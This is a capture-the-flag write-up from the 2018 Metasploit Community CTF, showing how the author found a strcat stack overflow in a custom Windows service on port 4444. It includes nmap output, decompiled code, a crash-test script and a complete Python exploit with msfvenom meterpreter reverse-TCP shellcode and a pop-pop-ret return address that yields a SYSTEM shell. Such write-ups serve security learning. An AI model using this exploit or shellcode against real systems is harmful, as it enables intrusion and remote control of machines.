Metasploit CTF 2018 - Windows Target Exploitation

This year I participated in RAPID7’s Metasploit Community CTF. I played with team BisonSquad, we finished 11th overall out of 600 active teams.
This writeup documents how I developed an exploit which granted us access to the Windows target machine.

CTF Setup

This was my first time participating in this CTF, and the unique setup surprised me a bit. Unlike the familiar jeopardy style CTFs, the setup consisted of two vulnerable VM targets (one Linux, one Windows). Teams were provided access to a Kali Linux VM on the same network as the targets to launch attacks from it. Each flag was a PNG image, and teams were supposed to submit the md5sum of the image to gain points.

Recon

I started by running a port scan on the Windows target machine to enumerate running services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# Nmap 7.70 scan initiated Fri Nov 30 17:26:44 2018 as: nmap -n -v -Pn -A -oN windows.txt 172.16.25.166
Nmap scan report for 172.16.25.166
Host is up (0.00062s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=WIN-F0RRKTD2VFF
| Issuer: commonName=WIN-F0RRKTD2VFF
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-11-27T18:26:29
| Not valid after: 2019-05-29T18:26:29
| MD5: 5014 1f33 1d9b 03d9 82b4 f3c5 e139 4d73
|_SHA-1: bbe1 d04b d15a d50a 4d87 1097 26ea 02f7 2549 c966
4444/tcp open ms-pe-exe Microsoft PE executable file
| fingerprint-strings:
| GetRequest:
| !This program cannot be run in DOS mode.
| DRich
| .text
| `.rdata
| @.data
|_ .idata
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
<--SNIP-->
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| nbstat: NetBIOS name: WIN-F0RRKTD2VFF, NetBIOS user: <unknown>, NetBIOS MAC: 0a:ea:ec:16:27:a8 (unknown)
| Names:
| WIN-F0RRKTD2VFF<00> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
|_ WIN-F0RRKTD2VFF<20> Flags: <unique><active>
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2018-11-30 17:27:54
|_ start_date: 2018-11-30 17:01:02
<--SNIP-->

Right away, port 4444 caught my attention. Nmap identified it as a Microsoft PE executable file, which seemed strange.
Next, I used netcat to connect to port 4444, and upon pressing return, it outputted a large binary blob.
I then dumped the blob to a file. (Download it here)

Binary Analysis and Vulnerability Discovery

I copied the binary to a Windows Server 2008 R2 VM (downloaded from Microsoft) and executed it.
As expected, the binary installed itself as a Windows Service listening on port 4444:

Next, I opened the binary with IDA and began doing some static analysis.
Analyzing the service creation code, and tracking the service’s callback function led me to 0x10471440 (which I cleaned up a bit with IDA):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl process_client_data_10471440(SOCKET s, int a2, struct in_addr in, int a4, int a5, char *client_input_buff)
{
char local_buff[1024]; // [esp+0h] [ebp-404h]
char *ipaddr; // [esp+400h] [ebp-4h]

<--SNIP-->

memset(local_buff, 0, 1024u);
strcat(local_buff, CLIENT_SAYS_STR); // "Client says: "
strcat(local_buff, client_input_buff); // client_input_buff max size is 1024
strcat(local_buff, NEW_LINE_CHAR); // "\n"
printf(local_buff);
return (...);
}

This function echo’ed whatever the client typed during the connection, then another function was called to send the binary blob to the client.
I realized that a large enough client input could make those strcat calls write beyond local_buff‘s bounds.

Exploitation

I attached Immunity Debugger to the running service, and then wrote a small python script to test the buffer overflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3
import socket
import struct

# setup connection
target_ip = '10.10.10.133'
target_port = 4444

# send payload
s = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
s.connect((target_ip, target_port))

# exploit
payload = b'A' * 1024

print(len(payload))
s.send(payload)

# cleanup
s.close()

Immunity Debugger confirmed that I had full control over EIP:

Next, I took a closer look at the contents of the stack and other registers after a crash:

I noticed the ESP register is relatively close to my payload, so I decided to search the binary for a section with enough POP instructions to get ESP pointing to my payload, and then a final RET instruction to have EIP jump to it.
Fortunately, the CTF admins confirmed that DEP was disabled.
With an attack plan in mind, I first located the position of EIP within the payload with the help of msf-pattern_create and msf-pattern_offset, which turned out to be at 1017 bytes.
Afterwards, I began searching the binary for a section with POP, POP, ... RETN instructions using Immunity Debugger:

Finally, I used msfvenom to generate a meterpreter reverse tcp payload, and added it to my exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/python3
import socket
import struct

def send_payload(s):

# meterpreter reverse tcp
buf = b""
buf += b"\x89\xe3\xdb\xd8\xd9\x73\xf4\x59\x49\x49\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37"
buf += b"\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
buf += b"\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
buf += b"\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x68\x68\x6e\x62"
buf += b"\x57\x70\x63\x30\x73\x30\x55\x30\x6b\x39\x38\x65\x56"
buf += b"\x51\x6f\x30\x75\x34\x6e\x6b\x42\x70\x64\x70\x4c\x4b"
buf += b"\x73\x62\x74\x4c\x4c\x4b\x61\x42\x77\x64\x6e\x6b\x64"
buf += b"\x32\x37\x58\x34\x4f\x4d\x67\x51\x5a\x75\x76\x64\x71"
buf += b"\x69\x6f\x6c\x6c\x47\x4c\x30\x61\x53\x4c\x34\x42\x34"
buf += b"\x6c\x77\x50\x4b\x71\x58\x4f\x56\x6d\x37\x71\x6f\x37"
buf += b"\x39\x72\x69\x62\x76\x32\x43\x67\x4c\x4b\x76\x32\x54"
buf += b"\x50\x6c\x4b\x53\x7a\x65\x6c\x4e\x6b\x70\x4c\x62\x31"
buf += b"\x73\x48\x78\x63\x30\x48\x75\x51\x4e\x31\x43\x61\x6e"
buf += b"\x6b\x36\x39\x75\x70\x46\x61\x48\x53\x4c\x4b\x52\x69"
buf += b"\x36\x78\x4b\x53\x75\x6a\x30\x49\x4e\x6b\x34\x74\x6c"
buf += b"\x4b\x43\x31\x48\x56\x70\x31\x79\x6f\x6c\x6c\x39\x51"
buf += b"\x6a\x6f\x64\x4d\x53\x31\x79\x57\x30\x38\x4d\x30\x54"
buf += b"\x35\x78\x76\x35\x53\x43\x4d\x69\x68\x35\x6b\x61\x6d"
buf += b"\x45\x74\x30\x75\x48\x64\x62\x78\x6e\x6b\x61\x48\x36"
buf += b"\x44\x36\x61\x78\x53\x61\x76\x6e\x6b\x34\x4c\x52\x6b"
buf += b"\x4e\x6b\x52\x78\x77\x6c\x33\x31\x6b\x63\x4c\x4b\x77"
buf += b"\x74\x4e\x6b\x57\x71\x78\x50\x6e\x69\x33\x74\x31\x34"
buf += b"\x71\x34\x53\x6b\x43\x6b\x61\x71\x70\x59\x30\x5a\x32"
buf += b"\x71\x4b\x4f\x69\x70\x31\x4f\x61\x4f\x50\x5a\x4c\x4b"
buf += b"\x57\x62\x38\x6b\x4e\x6d\x53\x6d\x50\x68\x54\x73\x65"
buf += b"\x62\x53\x30\x37\x70\x53\x58\x30\x77\x71\x63\x66\x52"
buf += b"\x73\x6f\x56\x34\x65\x38\x70\x4c\x54\x37\x47\x56\x56"
buf += b"\x67\x4d\x59\x48\x68\x69\x6f\x78\x50\x78\x38\x4a\x30"
buf += b"\x63\x31\x47\x70\x37\x70\x37\x59\x59\x54\x61\x44\x50"
buf += b"\x50\x65\x38\x71\x39\x4d\x50\x32\x4b\x75\x50\x4b\x4f"
buf += b"\x6e\x35\x53\x5a\x56\x6a\x51\x78\x6c\x6c\x54\x50\x44"
buf += b"\x59\x6d\x74\x62\x48\x67\x72\x55\x50\x77\x65\x48\x33"
buf += b"\x4c\x49\x78\x66\x62\x70\x50\x50\x46\x30\x56\x30\x43"
buf += b"\x70\x56\x30\x43\x70\x32\x70\x72\x48\x7a\x4a\x74\x4f"
buf += b"\x49\x4f\x49\x70\x6b\x4f\x38\x55\x6a\x37\x43\x5a\x74"
buf += b"\x50\x52\x76\x32\x77\x45\x38\x4a\x39\x4e\x45\x30\x74"
buf += b"\x53\x51\x4b\x4f\x6a\x75\x6d\x55\x4f\x30\x73\x44\x44"
buf += b"\x4a\x59\x6f\x32\x6e\x44\x48\x31\x65\x78\x6c\x49\x78"
buf += b"\x62\x47\x45\x50\x37\x70\x67\x70\x53\x5a\x75\x50\x63"
buf += b"\x5a\x66\x64\x46\x36\x62\x77\x63\x58\x65\x52\x48\x59"
buf += b"\x7a\x68\x31\x4f\x69\x6f\x59\x45\x4f\x73\x79\x68\x43"
buf += b"\x30\x53\x4e\x56\x56\x4e\x6b\x45\x66\x30\x6a\x33\x70"
buf += b"\x70\x68\x35\x50\x72\x30\x75\x50\x57\x70\x32\x76\x31"
buf += b"\x7a\x65\x50\x62\x48\x66\x38\x4c\x64\x43\x63\x6b\x55"
buf += b"\x6b\x4f\x4b\x65\x7a\x33\x31\x43\x63\x5a\x43\x30\x42"
buf += b"\x76\x63\x63\x42\x77\x65\x38\x66\x62\x59\x49\x6a\x68"
buf += b"\x71\x4f\x69\x6f\x38\x55\x6e\x63\x5a\x58\x77\x70\x33"
buf += b"\x4d\x67\x58\x36\x38\x51\x78\x33\x30\x53\x70\x73\x30"
buf += b"\x47\x70\x33\x5a\x43\x30\x62\x70\x63\x58\x66\x6b\x36"
buf += b"\x4f\x54\x4f\x36\x50\x79\x6f\x4a\x75\x62\x77\x62\x48"
buf += b"\x61\x65\x50\x6e\x70\x4d\x55\x31\x69\x6f\x4a\x75\x73"
buf += b"\x6e\x51\x4e\x49\x6f\x64\x4c\x44\x64\x66\x6f\x4f\x75"
buf += b"\x44\x30\x6b\x4f\x39\x6f\x49\x6f\x38\x69\x6d\x4b\x49"
buf += b"\x6f\x4b\x4f\x79\x6f\x73\x31\x58\x43\x44\x69\x38\x46"
buf += b"\x34\x35\x39\x51\x4f\x33\x4f\x4b\x68\x70\x6f\x45\x4c"
buf += b"\x62\x51\x46\x33\x5a\x45\x50\x72\x73\x69\x6f\x79\x45"
buf += b"\x41\x41"

filler = b"\x90" * (1017-len(buf))

# eip at 1017
pop_pop_ret = struct.pack('<I', 0x1047DCAC)

payload = filler + buf + pop_pop_ret
print(len(payload))

s.send(payload)
r = s.recv(1024)

# setup connection
target_ip = '10.10.10.133'
target_port = 4444

# send payload
s = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
s.connect((target_ip, target_port))

# exploit
send_payload(s)

# cleanup
s.close()

The payload executed successfully, and I was able to obtain a SYSTEM shell.